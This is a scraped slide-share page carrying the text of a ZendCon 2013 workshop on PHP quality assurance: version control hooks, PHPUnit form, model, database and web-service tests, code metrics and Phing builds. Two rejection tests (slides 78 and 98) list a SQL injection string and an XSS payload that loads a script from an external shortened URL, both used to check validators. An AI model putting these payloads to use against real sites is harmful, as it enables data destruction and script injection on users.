Sample pptx for embedding into website for demo
Sample pptx for embedding into website for demoSample pptx for embedding into website for demo
Sample pptx for embedding into website for demo
 
unit 4 immunoblotting technique complete.pptx
unit 4 immunoblotting technique complete.pptxunit 4 immunoblotting technique complete.pptx
unit 4 immunoblotting technique complete.pptx
 
SALESFORCE EDUCATION CLOUD | FEXLE SERVICES
SALESFORCE EDUCATION CLOUD | FEXLE SERVICESSALESFORCE EDUCATION CLOUD | FEXLE SERVICES
SALESFORCE EDUCATION CLOUD | FEXLE SERVICES
 
The Role of FIDO in a Cyber Secure Netherlands: FIDO Paris Seminar.pptx
The Role of FIDO in a Cyber Secure Netherlands: FIDO Paris Seminar.pptxThe Role of FIDO in a Cyber Secure Netherlands: FIDO Paris Seminar.pptx
The Role of FIDO in a Cyber Secure Netherlands: FIDO Paris Seminar.pptx
 
"Debugging python applications inside k8s environment", Andrii Soldatenko
"Debugging python applications inside k8s environment", Andrii Soldatenko"Debugging python applications inside k8s environment", Andrii Soldatenko
"Debugging python applications inside k8s environment", Andrii Soldatenko
 
Ensuring Technical Readiness For Copilot in Microsoft 365
Ensuring Technical Readiness For Copilot in Microsoft 365Ensuring Technical Readiness For Copilot in Microsoft 365
Ensuring Technical Readiness For Copilot in Microsoft 365
 
Gen AI in Business - Global Trends Report 2024.pdf
Gen AI in Business - Global Trends Report 2024.pdfGen AI in Business - Global Trends Report 2024.pdf
Gen AI in Business - Global Trends Report 2024.pdf
 
The State of Passkeys with FIDO Alliance.pptx
The State of Passkeys with FIDO Alliance.pptxThe State of Passkeys with FIDO Alliance.pptx
The State of Passkeys with FIDO Alliance.pptx
 
"Subclassing and Composition – A Pythonic Tour of Trade-Offs", Hynek Schlawack
"Subclassing and Composition – A Pythonic Tour of Trade-Offs", Hynek Schlawack"Subclassing and Composition – A Pythonic Tour of Trade-Offs", Hynek Schlawack
"Subclassing and Composition – A Pythonic Tour of Trade-Offs", Hynek Schlawack
 
WordPress Websites for Engineers: Elevate Your Brand
WordPress Websites for Engineers: Elevate Your BrandWordPress Websites for Engineers: Elevate Your Brand
WordPress Websites for Engineers: Elevate Your Brand
 
How AI, OpenAI, and ChatGPT impact business and software.
How AI, OpenAI, and ChatGPT impact business and software.How AI, OpenAI, and ChatGPT impact business and software.
How AI, OpenAI, and ChatGPT impact business and software.
 

Workshop quality assurance for php projects - ZendCon 2013

  • 1. Quality Assurance for PHP projects ZendCon 2013 - Santa Clara
  • 3. Thank you for having us
  • 4. Schedule Workshop Introduction to Quality Assurance Revision control Documenting Testing Measuring Automating Team works!
  • 14. Keeps your code in shape
  • 15. Measures speed and performance
  • 19. Delivers ready to deploy packages
  • 23. GIT
  • 28. FTP
  • 29. Advantages of SCM • team development possible • tracking multi-versions of source code • moving back and forth in history • tagging of milestones • backup of source code • accessible from - command line - native apps - IDE’s - analytical tools TIP:  hooks  for  tools
  • 31. GIT-SCM • Distributed SCM - everyone has a “master” repository • Works with public and private repositories - private: work in progress - public: finished work • Requires hierarchies to manage
  • 36. More on GIT • GIT book: http://git-scm.com/book/en • GIT tutorial: http://try.github.io • GIT branching tutorial: http://pcottle.github.io/learnGitBranching/ • GIT Flow: http://nvie.com/posts/a-successful-git-branching- model/ • Github flow: http://scottchacon.com/2011/08/31/github-flow.html
  • 40. PHP Lint • checks the syntax of code • build in PHP core • is used per file - pre-commit hook for version control system - batch processing of files • can provide reports - but if something fails -> the build fails TIP:  pre-­‐commit  hook
  • 42. PHP  Lint  on  Command  Line
  • 43. SVN Pre commit hook #!/bin/sh # # Pre-commit hook to validate syntax of incoming PHP files, if no failures it # accepts the commit, otherwise it fails and blocks the commit REPOS="$1" TXN="$2" # modify these system executables to match your system PHP=/usr/bin/php AWK=/usr/bin/awk GREP=/bin/grep SVNLOOK=/usr/bin/svnlook # PHP Syntax checking with PHP Lint # originally from Joe Stump at Digg # https://gist.github.com/53225 # for i in `$SVNLOOK changed -t "$TXN" "$REPOS" | $AWK '{print $2}'` do if [ ${i##*.} == php ]; then CHECK=`$SVNLOOK cat -t "$TXN" "$REPOS" $i | $PHP -d html_errors=off -l || echo $i` RETURN=`echo $CHECK | $GREP "^No syntax" > /dev/null && echo TRUE || echo FALSE` if [ $RETURN = 'FALSE' ]; then echo $CHECK 1>&2; exit 1 fi fi done
  • 46. Why documenting? • new members in the team • working with remote workers • analyzing improvements • think before doing • used by IDE’s and editors for code hinting ;-)
  • 50. Based  on  docblocks  in  code
  • 53. Phpdoc2  on  your  project
  • 56. Any reasons not to test?
  • 57. Most common excuses • no time • not within budget • development team does not know how • tests are provided after delivery • …
  • 59. Maintainability • during development - test will fail indicating bugs • after sales support - testing if an issue is genuine - fixing issues won’t break code base ❖ if they do, you need to fix it! • long term projects - refactoring made easy
  • 60. Remember “Once a test is made, it will always be tested!”
  • 61. Feel like on top of the world!
  • 62. Confidence • for the developer - code works • for the manager - project succeeds • for sales / general management / share holders - making profit • for the customer - paying for what they want
  • 64. Don’t end up on this list! extension:php mysql_query $_GET
  • 67. phpunit.xml <phpunit bootstrap="./TestHelper.php" colors="true"> <testsuite name="Unit test suite"> <directory>./</directory> </testsuite> <filter> <whitelist> <directory suffix=".php">../application/</directory> <directory suffix=".php">../library/Mylib/</directory> <exclude> <directory suffix=".phtml">../application/</directory> </exclude> </whitelist> </filter> </phpunit>
  • 68. TestHelper.php <?php // set our app paths and environments define('BASE_PATH', realpath(dirname(__FILE__) . '/../')); define('APPLICATION_PATH', BASE_PATH . '/application'); define('TEST_PATH', BASE_PATH . '/tests'); define('APPLICATION_ENV', 'testing'); // Include path set_include_path( . PATH_SEPARATOR . BASE_PATH . '/library' . PATH_SEPARATOR . get_include_path() ); // Set the default timezone !!! date_default_timezone_set('Europe/Brussels'); // We wanna catch all errors en strict warnings error_reporting(E_ALL|E_STRICT); require_once 'Zend/Application.php'; $application = new Zend_Application( APPLICATION_ENV, APPLICATION_PATH . '/configs/application.ini' ); $application->bootstrap();
  • 69. Zend_Tool since 1.11.4 • provides • phpunit.xml • bootstrap.php • IndexControllerTest.php Ralph Schindler
  • 73. Start with the test <?php class Application_Form_CommentFormTest extends PHPUnit_Framework_TestCase { protected $_form; protected function setUp() { $this->_form = new Application_Form_CommentForm(); parent::setUp(); } protected function tearDown() { parent::tearDown(); $this->_form = null; } }
  • 74. The good stuff public function goodData() { return array ( array ('John Doe', 'john.doe@example.com', 'http://example.com', 'test comment'), array ("Matthew Weier O'Phinney", 'matthew@zend.com', 'http://weierophinney.net', 'Doing an MWOP-Test'), array ('D. Keith Casey, Jr.', 'Keith@CaseySoftware.com', 'http://caseysoftware.com', 'Doing a monkey dance'), ); } /** * @dataProvider goodData */ public function testFormAcceptsValidData($name, $email, $web, $comment) { $data = array ( 'name' => $name, 'mail' => $mail, 'web' => $web, 'comment' => $comment, ); $this->assertTrue($this->_form->isValid($data)); }
  • 77. In the news… Is this YOU?!?
  • 78. The bad stuff public function badData() { return array ( array ('','','',''), array ("Robert'; DROP TABLES comments; --", '', 'http://xkcd.com/327/','Little Bobby Tables'), array (str_repeat('x', 100000), '', '', ''), array ('John Doe', 'jd@example.com', "http://t.co/@"style="font-size:999999999999px;"onmouseover= "$.getScript('http:u002fu002fis.gdu002ffl9A7')"/", 'exploit twitter 9/21/2010'), ); } /** * @dataProvider badData */ public function testFormRejectsBadData($name, $email, $web, $comment) { $data = array ( 'name' => $name, 'mail' => $mail, 'web' => $web, 'comment' => $comment, ); $this->assertFalse($this->_form->isValid($data)); }
  • 79. Create the form class <?php class Application_Form_CommentForm extends Zend_Form { public function init() { /* Form Elements & Other Definitions Here ... */ } }
  • 81. Let’s put in our elements <?php class Application_Form_CommentForm extends Zend_Form { public function init() { $this->addElement('text', 'name', array ( 'Label' => 'Name', 'Required' => true)); $this->addElement('text', 'mail', array ( 'Label' => 'E-mail Address', 'Required' => true)); $this->addElement('text', 'web', array ( 'Label' => 'Website', 'Required' => false)); $this->addElement('textarea', 'comment', array ( 'Label' => 'Comment', 'Required' => true)); $this->addElement('submit', 'post', array ( 'Label' => 'Post', 'Ignore' => true)); } }
  • 83. Filter -Validate $this->addElement('text', 'name', array ( 'Label' => 'Name', 'Required' => true, 'Filters' => array ('StringTrim', 'StripTags'), 'Validators' => array ( new Zftest_Validate_Mwop(), new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50))), )); $this->addElement('text', 'mail', array ( 'Label' => 'E-mail Address', 'Required' => true, 'Filters' => array ('StringTrim', 'StripTags', 'StringToLower'), 'Validators' => array ( new Zend_Validate_EmailAddress(), new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50))), )); $this->addElement('text', 'web', array ( 'Label' => 'Website', 'Required' => false, 'Filters' => array ('StringTrim', 'StripTags', 'StringToLower'), 'Validators' => array ( new Zend_Validate_Callback(array('Zend_Uri', 'check')), new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50))), )); $this->addElement('textarea', 'comment', array ( 'Label' => 'Comment', 'Required' => true, 'Filters' => array ('StringTrim', 'StripTags'), 'Validators' => array ( new Zftest_Validate_TextBox(), new Zend_Validate_StringLength(array ('max' => 5000))), ));
  • 84. Green, warm & fuzzy
  • 85. You’re a winner! ☑ quality code ☑ tested ☑ secure ☑ reusable
  • 87. Testing business logic • models contain logic - tied to your business - tied to your storage - tied to your resources • no “one size fits all” solution
  • 88. Type: data containers • contains structured data - populated through setters and getters • perform logic tied to it’s purpose - transforming data - filtering data - validating data • can convert into other data types - arrays - strings (JSON, serialized, xml, …) • are providers to other models
  • 90. Writing model test <?php class Application_Model_CommentTest extends PHPUnit_Framework_TestCase { protected $_comment; protected function setUp() { $this->_comment = new Application_Model_Comment(); parent::setUp(); } protected function tearDown() { parent::tearDown(); $this->_comment = null; } public function testModelIsEmptyAtConstruct() { $this->assertSame(0, $this->_comment->getId()); $this->assertNull($this->_comment->getFullName()); $this->assertNull($this->_comment->getEmailAddress()); $this->assertNull($this->_comment->getWebsite()); $this->assertNull($this->_comment->getComment()); } }
  • 92. Create a simple model <?php class Application_Model_Comment { protected $_id = 0; protected $_fullName; protected $_emailAddress; protected $_website; protected $_comment; public function setId($id) { $this->_id = (int) $id; return $this; } public function getId() { return $this->_id; } public function setFullName($fullName) { $this->_fullName = (string) $fullName; return $this; } public function getFullName() { return $this->_fullName; } public function setEmailAddress($emailAddress) { $this->_emailAddress = (string) $emailAddress; return $this; } public function getEmailAddress() { return $this->_emailAddress; } public function setWebsite($website) { $this->_website = (string) $website; return $this; } public function getWebsite() { return $this->_website; } public function setComment($comment) { $this->_comment = (string) $comment; return $this; } public function getComment() { return $this->_comment; } public function populate($row) { if (is_array($row)) { $row = new ArrayObject($row, ArrayObject::ARRAY_AS_PROPS); } if (isset ($row->id)) $this->setId($row->id); if (isset ($row->fullName)) $this->setFullName($row->fullName); if (isset ($row->emailAddress)) $this->setEmailAddress($row->emailAddress); if (isset ($row->website)) $this->setWebsite($row->website); if (isset ($row->comment)) $this->setComment($row->comment); } public function toArray() { return array ( 'id' => $this->getId(), 'fullName' => $this->getFullName(), 'emailAddress' => $this->getEmailAddress(), 'website' => $this->getWebsite(), 'comment' => $this->getComment(), ); } }
  • 93. We pass the test…
  • 95. Not all data from user input! • model can be populated from - users through the form - data stored in the database - a webservice (hosted by us or others) • simply test it - by using same test scenario’s from our form
  • 96. ALL DATA IS TAINTED!
  • 97. The good stuff public function goodData() { return array ( array ('John Doe', 'john.doe@example.com', 'http://example.com', 'test comment'), array ("Matthew Weier O'Phinney", 'matthew@zend.com', 'http://weierophinney.net', 'Doing an MWOP-Test'), array ('D. Keith Casey, Jr.', 'Keith@CaseySoftware.com', 'http://caseysoftware.com', 'Doing a monkey dance'), ); } /** * @dataProvider goodData */ public function testModelAcceptsValidData($name, $mail, $web, $comment) { $data = array ( 'fullName' => $name, 'emailAddress' => $mail, 'website' => $web, 'comment' => $comment, ); try { $this->_comment->populate($data); } catch (Zend_Exception $e) { $this->fail('Unexpected exception should not be triggered'); } $data['id'] = 0; $data['emailAddress'] = strtolower($data['emailAddress']); $data['website'] = strtolower($data['website']); $this->assertSame($this->_comment->toArray(), $data); }
  • 98. The bad stuff public function badData() { return array ( array ('','','',''), array ("Robert'; DROP TABLES comments; --", '', 'http://xkcd.com/327/','Little Bobby Tables'), array (str_repeat('x', 1000), '', '', ''), array ('John Doe', 'jd@example.com', "http://t.co/@"style="font-size:999999999999px; "onmouseover="$.getScript('http:u002fu002fis.gdu002ffl9A7')"/", 'exploit twitter 9/21/2010'), ); } /** * @dataProvider badData */ public function testModelRejectsBadData($name, $mail, $web, $comment) { $data = array ( 'fullName' => $name, 'emailAddress' => $mail, 'website' => $web, 'comment' => $comment, ); try { $this->_comment->populate($data); } catch (Zend_Exception $e) { return; } $this->fail('Expected exception should be triggered'); }
  • 100. Modify our model protected $_filters; protected $_validators; public function __construct($params = null) { $this->_filters = array ( 'id' => array ('Int'), 'fullName' => array ('StringTrim', 'StripTags', new Zend_Filter_Alnum(true)), 'emailAddress' => array ('StringTrim', 'StripTags', 'StringToLower'), 'website' => array ('StringTrim', 'StripTags', 'StringToLower'), 'comment' => array ('StringTrim', 'StripTags'), ); $this->_validators = array ( 'id' => array ('Int'), 'fullName' => array ( new Zftest_Validate_Mwop(), new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50)), ), 'emailAddress' => array ( 'EmailAddress', new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50)), ), 'website' => array ( new Zend_Validate_Callback(array('Zend_Uri', 'check')), new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50)), ), 'comment' => array ( new Zftest_Validate_TextBox(), new Zend_Validate_StringLength(array ('max' => 5000)), ), ); if (null !== $params) { $this->populate($params); } }
  • 101. Modify setters: Id & name public function setId($id) { $input = new Zend_Filter_Input($this->_filters, $this->_validators); $input->setData(array ('id' => $id)); if (!$input->isValid('id')) { throw new Zend_Exception('Invalid ID provided'); } $this->_id = (int) $input->id; return $this; } public function setFullName($fullName) { $input = new Zend_Filter_Input($this->_filters, $this->_validators); $input->setData(array ('fullName' => $fullName)); if (!$input->isValid('fullName')) { throw new Zend_Exception('Invalid fullName provided'); } $this->_fullName = (string) $input->fullName; return $this; }
  • 102. Email & website public function setEmailAddress($emailAddress) { $input = new Zend_Filter_Input($this->_filters, $this->_validators); $input->setData(array ('emailAddress' => $emailAddress)); if (!$input->isValid('emailAddress')) { throw new Zend_Exception('Invalid emailAddress provided'); } $this->_emailAddress = (string) $input->emailAddress; return $this; } public function setWebsite($website) { $input = new Zend_Filter_Input($this->_filters, $this->_validators); $input->setData(array ('website' => $website)); if (!$input->isValid('website')) { throw new Zend_Exception('Invalid website provided'); } $this->_website = (string) $input->website; return $this; }
  • 103. and comment public function setComment($comment) { $input = new Zend_Filter_Input($this->_filters, $this->_validators); $input->setData(array ('comment' => $comment)); if (!$input->isValid('comment')) { throw new Zend_Exception('Invalid comment provided'); } $this->_comment = (string) $input->comment; return $this; }
  • 106. Integration Testing • database specific functionality - triggers - constraints - stored procedures - sharding/scalability • data input/output - correct encoding of data - transactions execution and rollback
  • 107. Points of concern • beware of automated data types - auto increment sequence ID’s - default values like CURRENT_TIMESTAMP • beware of time related issues - timestamp vs. datetime - UTC vs. local time
  • 108. The domain Model • Model object • Mapper object • Table gateway object Read more about it ☞
  • 109. Change our test class class Application_Model_CommentTest extends PHPUnit_Framework_TestCase becomes class Application_Model_CommentTest extends Zend_Test_PHPUnit_DatabaseTestCase
  • 110. Setting DB Testing up protected $_connectionMock; public function getConnection() { if (null === $this->_dbMock) { $this->bootstrap = new Zend_Application( APPLICATION_ENV, APPLICATION_PATH . '/configs/application.ini'); $this->bootstrap->bootstrap('db'); $db = $this->bootstrap->getBootstrap()->getResource('db'); $this->_connectionMock = $this->createZendDbConnection( $db, 'zftest' ); return $this->_connectionMock; } } public function getDataSet() { return $this->createFlatXmlDataSet( realpath(APPLICATION_PATH . '/../tests/_files/initialDataSet.xml')); }
  • 111. initialDataSet.xml <?xml version="1.0" encoding="UTF-8"?> <dataset> <comment id="1" fullName="B.A. Baracus" emailAddress="ba@a-team.com" website="http://www.a-team.com" comment="I pitty the fool that doesn't test!"/> <comment id="2" fullName="Martin Fowler" emailAddress="fowler@acm.org" website="http://martinfowler.com/" comment="Models are not right or wrong; they are more or less useful."/> </dataset>
  • 112. Testing SELECT public function testDatabaseCanBeRead() { $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet( $this->getConnection()); $ds->addTable('comment', 'SELECT * FROM `comment`'); $expected = $this->createFlatXMLDataSet( APPLICATION_PATH . '/../tests/_files/selectDataSet.xml'); $this->assertDataSetsEqual($expected, $ds); }
  • 113. selectDataSet.xml <?xml version="1.0" encoding="UTF-8"?> <dataset> <comment id="1" fullName="B.A. Baracus" emailAddress="ba@a-team.com" website="http://www.a-team.com" comment="I pitty the fool that doesn't test!"/> <comment id="2" fullName="Martin Fowler" emailAddress="fowler@acm.org" website="http://martinfowler.com/" comment="Models are not right or wrong; they are more or less useful."/> </dataset>
  • 114. Testing UPDATE public function testDatabaseCanBeUpdated() { $comment = new Application_Model_Comment(); $mapper = new Application_Model_CommentMapper(); $mapper->find(1, $comment); $comment->setComment('I like you picking up the challenge!'); $mapper->save($comment); $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet( $this->getConnection()); $ds->addTable('comment', 'SELECT * FROM `comment`'); $expected = $this->createFlatXMLDataSet( APPLICATION_PATH . '/../tests/_files/updateDataSet.xml'); $this->assertDataSetsEqual($expected, $ds); }
  • 115. updateDataSet.xml <?xml version="1.0" encoding="UTF-8"?> <dataset> <comment id="1" fullName="B.A. Baracus" emailAddress="ba@a-team.com" website="http://www.a-team.com" comment="I like you picking up the challenge!"/> <comment id="2" fullName="Martin Fowler" emailAddress="fowler@acm.org" website="http://martinfowler.com/" comment="Models are not right or wrong; they are more or less useful."/> </dataset>
  • 116. Testing DELETE public function testDatabaseCanDeleteAComment() { $comment = new Application_Model_Comment(); $mapper = new Application_Model_CommentMapper(); $mapper->find(1, $comment) ->delete($comment); $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet( $this->getConnection()); $ds->addTable('comment', 'SELECT * FROM `comment`'); $expected = $this->createFlatXMLDataSet( APPLICATION_PATH . '/../tests/_files/deleteDataSet.xml'); $this->assertDataSetsEqual($expected, $ds); }
  • 117. deleteDataSet.xml <?xml version="1.0" encoding="UTF-8"?> <dataset> <comment id="2" fullName="Martin Fowler" emailAddress="fowler@acm.org" website="http://martinfowler.com/" comment="Models are not right or wrong; they are more or less useful."/> </dataset>
  • 118. Testing INSERT public function testDatabaseCanAddAComment() { $comment = new Application_Model_Comment(); $comment->setFullName('Michelangelo van Dam') ->setEmailAddress('dragonbe@gmail.com') ->setWebsite('http://www.dragonbe.com') ->setComment('Unit Testing, It is so addictive!!!'); $mapper = new Application_Model_CommentMapper(); $mapper->save($comment); $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet( $this->getConnection()); $ds->addTable('comment', 'SELECT * FROM `comment`'); $expected = $this->createFlatXMLDataSet( APPLICATION_PATH . '/../tests/_files/addDataSet.xml'); $this->assertDataSetsEqual($expected, $ds); }
  • 119. insertDataSet.xml <?xml version="1.0" encoding="UTF-8"?> <dataset> <comment id="1" fullName="B.A. Baracus" emailAddress="ba@a-team.com" website="http://www.a-team.com" comment="I pitty the fool that doesn't test!"/> <comment id="2" fullName="Martin Fowler" emailAddress="fowler@acm.org" website="http://martinfowler.com/" comment="Models are not right or wrong; they are more or less useful."/> <comment id="3" fullName="Michelangelo van Dam" emailAddress="dragonbe@gmail.com" website="http://www.dragonbe.com" comment="Unit Testing, It is so addictive!!!"/> </dataset>
  • 121. What went wrong here?
  • 123. Testing INSERT w/ filter public function testDatabaseCanAddAComment() { $comment = new Application_Model_Comment(); $comment->setFullName('Michelangelo van Dam') ->setEmailAddress('dragonbe@gmail.com') ->setWebsite('http://www.dragonbe.com') ->setComment('Unit Testing, It is so addictive!!!'); $mapper = new Application_Model_CommentMapper(); $mapper->save($comment); $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet( $this->getConnection()); $ds->addTable('comment', 'SELECT * FROM `comment`'); $filteredDs = new PHPUnit_Extensions_Database_DataSet_DataSetFilter( $ds, array ('comment' => array ('id'))); $expected = $this->createFlatXMLDataSet( APPLICATION_PATH . '/../tests/_files/addDataSet.xml'); $this->assertDataSetsEqual($expected, $filteredDs); }
  • 124. insertDataSet.xml <?xml version="1.0" encoding="UTF-8"?> <dataset> <comment fullName="B.A. Baracus" emailAddress="ba@a-team.com" website="http://www.a-team.com" comment="I pitty the fool that doesn't test!"/> <comment fullName="Martin Fowler" emailAddress="fowler@acm.org" website="http://martinfowler.com/" comment="Models are not right or wrong; they are more or less useful."/> <comment fullName="Michelangelo van Dam" emailAddress="dragonbe@gmail.com" website="http://www.dragonbe.com" comment="Unit Testing, It is so addictive!!!"/> </dataset>
  • 127. Web services remarks • you need to comply with an API - that will be your reference • you cannot always make a test-call - paid services per call - test environment is “offline” - network related issues
  • 130. JoindinTest <?php class Zftest_Service_JoindinTest extends PHPUnit_Framework_TestCase { protected $_joindin; protected $_settings; protected function setUp() { $this->_joindin = new Zftest_Service_Joindin(); $settings = simplexml_load_file(realpath( APPLICATION_PATH . '/../tests/_files/settings.xml')); $this->_settings = $settings->joindin; parent::setUp(); } protected function tearDown() { parent::tearDown(); $this->_joindin = null; } }
  • 131. JoindinTest public function testJoindinCanGetUserDetails() { $expected = '<?xml version="1.0"?><response><item><username>DragonBe</ username><full_name>Michelangelo van Dam</full_name><ID>19</ ID><last_login>1303248639</last_login></item></response>'; $this->_joindin->setUsername($this->_settings->username) ->setPassword($this->_settings->password); $actual = $this->_joindin->user()->getDetail(); $this->assertXmlStringEqualsXmlString($expected, $actual); } public function testJoindinCanCheckStatus() { $date = new DateTime(); $date->setTimezone(new DateTimeZone('UTC')); $expected = '<?xml version="1.0"?><response><dt>' . $date->format('r') . '</dt><test_string>testing unit test</test_string></response>'; $actual = $this->_joindin->site()->getStatus('testing unit test'); $this->assertXmlStringEqualsXmlString($expected, $actual); }
  • 133. Euh… what? 1) Zftest_Service_JoindinTest::testJoindinCanGetUserDetails Failed asserting that two strings are equal. --- Expected +++ Actual @@ @@ <ID>19</ID> - <last_login>1303248639</last_login> + <last_login>1303250271</last_login> </item> </response> I recently logged in ✔
  • 134. And this? 2) Zftest_Service_JoindinTest::testJoindinCanCheckStatus Failed asserting that two strings are equal. --- Expected +++ Actual @@ @@ <?xml version="1.0"?> <response> - <dt>Tue, 19 Apr 2011 22:26:40 +0000</dt> + <dt>Tue, 19 Apr 2011 22:26:41 +0000</dt> <test_string>testing unit test</test_string> </response> Latency of the network 1s !
  • 137. JoindinTest <?php class Zftest_Service_JoindinTest extends PHPUnit_Framework_TestCase { protected $_joindin; protected $_settings; protected function setUp() { $this->_joindin = new Zftest_Service_Joindin(); $client = new Zend_Http_Client(); $client->setAdapter(new Zend_Http_Client_Adapter_Test()); $this->_joindin->setClient($client); $settings = simplexml_load_file(realpath( APPLICATION_PATH . '/../tests/_files/settings.xml')); $this->_settings = $settings->joindin; parent::setUp(); } protected function tearDown() { parent::tearDown(); $this->_joindin = null; } }
  • 138. JoindinUserMockTest public function testJoindinCanGetUserDetails() { $response = <<<EOS HTTP/1.1 200 OK Content-type: text/xml <?xml version="1.0"?> <response> <item> <username>DragonBe</username> <full_name>Michelangelo van Dam</full_name> <ID>19</ID> <last_login>1303248639</last_login> </item> </response> EOS; $client = $this->_joindin->getClient()->getAdapter()->setResponse($response); $expected = '<?xml version="1.0"?><response><item><username>DragonBe</ username><full_name>Michelangelo van Dam</full_name><ID>19</ID><last_login>1303248639</ last_login></item></response>'; $this->_joindin->setUsername($this->_settings->username) ->setPassword($this->_settings->password); $actual = $this->_joindin->user()->getDetail(); $this->assertXmlStringEqualsXmlString($expected, $actual); }
  • 139. JoindinStatusMockTest public function testJoindinCanCheckStatus() { $date = new DateTime(); $date->setTimezone(new DateTimeZone('UTC')); $response = <<<EOS HTTP/1.1 200 OK Content-type: text/xml <?xml version="1.0"?> <response> <dt>{$date->format('r')}</dt> <test_string>testing unit test</test_string> </response> EOS; $client = $this->_joindin->getClient() ->getAdapter()->setResponse($response); $expected = '<?xml version="1.0"?><response><dt>' . $date->format('r') . '</dt><test_string>testing unit test</test_string></response>'; $actual = $this->_joindin->site()->getStatus('testing unit test'); $this->assertXmlStringEqualsXmlString($expected, $actual); }
  • 143. Setting up ControllerTest <?php class IndexControllerTest extends Zend_Test_PHPUnit_ControllerTestCase { public function setUp() { $this->bootstrap = new Zend_Application( APPLICATION_ENV, APPLICATION_PATH . '/configs/application.ini'); parent::setUp(); } }
  • 144. Testing if form is on page public function testIndexAction() { $params = array( 'action' => 'index', 'controller' => 'index', 'module' => 'default' ); $url = $this->url($this->urlizeOptions($params)); $this->dispatch($url); // assertions $this->assertModule($params['module']); $this->assertController($params['controller']); $this->assertAction($params['action']); $this->assertQueryContentContains( 'h1#pageTitle', 'Please leave a comment'); $this->assertQueryCount('form#commentForm', 1); }
  • 145. Test processing public function testProcessAction() { $testData = array ( 'name' => 'testUser', 'mail' => 'test@example.com', 'web' => 'http://www.example.com', 'comment' => 'This is a test comment', ); $params = array('action' => 'process', 'controller' => 'index', 'module' => 'default'); $url = $this->url($this->urlizeOptions($params)); $this->request->setMethod('post'); $this->request->setPost($testData); $this->dispatch($url); // assertions $this->assertModule($params['module']); $this->assertController($params['controller']); $this->assertAction($params['action']); $this->assertResponseCode(302); $this->assertRedirectTo('/index/success'); $this->resetRequest(); $this->resetResponse(); $this->dispatch('/index/success'); $this->assertQueryContentContains('span#fullName', $testData['name']); }
  • 146. REMARK • data providers can be used - to test valid data - to test invalid data • but we know it’s taken care of our model - just checking for error messages in form
  • 147. Test if we hit home public function testSuccessAction() { $params = array( 'action' => 'success', 'controller' => 'index', 'module' => 'default' ); $url = $this->url($this->urlizeOptions($params)); $this->dispatch($url); // assertions $this->assertModule($params['module']); $this->assertController($params['controller']); $this->assertAction($params['action']); $this->assertRedirectTo('/'); }
  • 153. • unit testing is simple • combine integration tests with unit tests • test what counts • mock out what’s remote
  • 157. Questions • how stable is my code? • how flexible is my code? • how complex is my code? • how easy can I refactor my code?
  • 158. Answers • PHPDepend - Dependency calculations • PHPMD - Mess detections and code “smells” • PHPCPD - Copy/paste detection • PHPCS - PHP_CodeSniffer
  • 160. What? • generates metrics • measure health • identify parts to improve (refactor)
  • 162. • CYCLO: Cyclomatic Complexity • LOC: Lines of Code • NOM: Number of Methods • NOC: Number of Classes • NOP: Number of Packages • AHH:Average Hierarchy Height • ANDC:Average Number of Derived Classes • FANOUT: Number of Called Classes • CALLS: Number of Operation Calls
  • 163. Cyclomatic Complexity • metric calculation • execution paths • independent control structures - if, else, for, foreach, switch case, while, do, … • within a single method or function • more info - http://en.wikipedia.org/wiki/ Cyclomatic_complexity
  • 164. Average Hierarchy Height The average of the maximum length from a root class to its deepest subclass
  • 165. pdepend pyramid Inheritance few classes derived from other classes lots of classes inherit from other classes
  • 169. pdepend-graph graph  about  stability:  a  mix  between  abstract  and  concrete  classes
  • 170.
  • 171.
  • 174. What? • detects code smells - possible bugs - sub-optimal code - over complicated expressions - unused parameters, methods and properties - wrongly named parameters, methods or properties
  • 177. What? • detects similar code snippets - plain copy/paste work - similar code routines • indicates problems - maintenance hell - downward spiral of disasters • stimulates improvements - refactoring of code - moving similar code snippets in common routines
  • 179. Required evil • validates coding standards - consistency - readability • set as a policy for development • reports failures to meet the standard - sometimes good: parentheses on wrong line - mostly bad: line exceeds 80 characters ❖ but needed for terminal viewing of code • can be set as pre-commit hook - but can cause frustration!!!
  • 183. Key reason “computers are great at doing repetitive tasks very well”
  • 184. Repetition • syntax checking • documenting • testing • measuring
  • 185.
  • 186. Why Phing? • php based (it’s already on our system) • open-source • supported by many tools • very simple syntax • great documentation
  • 187. Structure of a build <?xml version="1.0" encoding="UTF-8"?> <project name="Application build" default="phplint"> <!-- set global and local properties --> <property file="build.properties" /> <property file="local.properties" override="true" /> <!-- define our code base files --> <fileset dir="${project.basedir}" id="phpfiles"> <include name="application/**/*.php" /> <include name="library/In2it/**/*.php" /> </fileset> <!-- let’s validate the syntax of our code base --> <target name="phplint" description="Validating PHP Syntax"> <phplint haltonfailure="true"> <fileset refid="phpfiles" /> </phplint> </target> </project>
  • 188. <?xml version="1.0" encoding="UTF-8"?> <project name="Application build" default="phplint"> <!-- set global and local properties --> <property file="build.properties"/> <property file="local.properties" override="true" /> <!-- define our code base files --> <fileset dir="${project.basedir}" id="phpfiles"> <include name="application/**/*.php" /> <include name="library/In2it/**/*.php" /> </fileset> <!-- let’s validate the syntax of our code base --> <target name="phplint" description="Validating PHP Syntax"> <phplint haltonfailure="true"> <fileset refid="phpfiles" /> </phplint> </target> </project> Structure of a build <project name="Application build" default="phplint">
  • 189. <?xml version="1.0" encoding="UTF-8"?> <project name="Application build" default="phplint"> <!-- set global and local properties --> <property file="build.properties"/> <property file="local.properties" override="true" /> <!-- define our code base files --> <fileset dir="${project.basedir}" id="phpfiles"> <include name="application/**/*.php" /> <include name="library/In2it/**/*.php" /> </fileset> <!-- let’s validate the syntax of our code base --> <target name="phplint" description="Validating PHP Syntax"> <phplint haltonfailure="true"> <fileset refid="phpfiles" /> </phplint> </target> </project> Structure of a build <!-- set global and local properties --> <property file="build.properties" /> <property file="local.properties" override="true" />
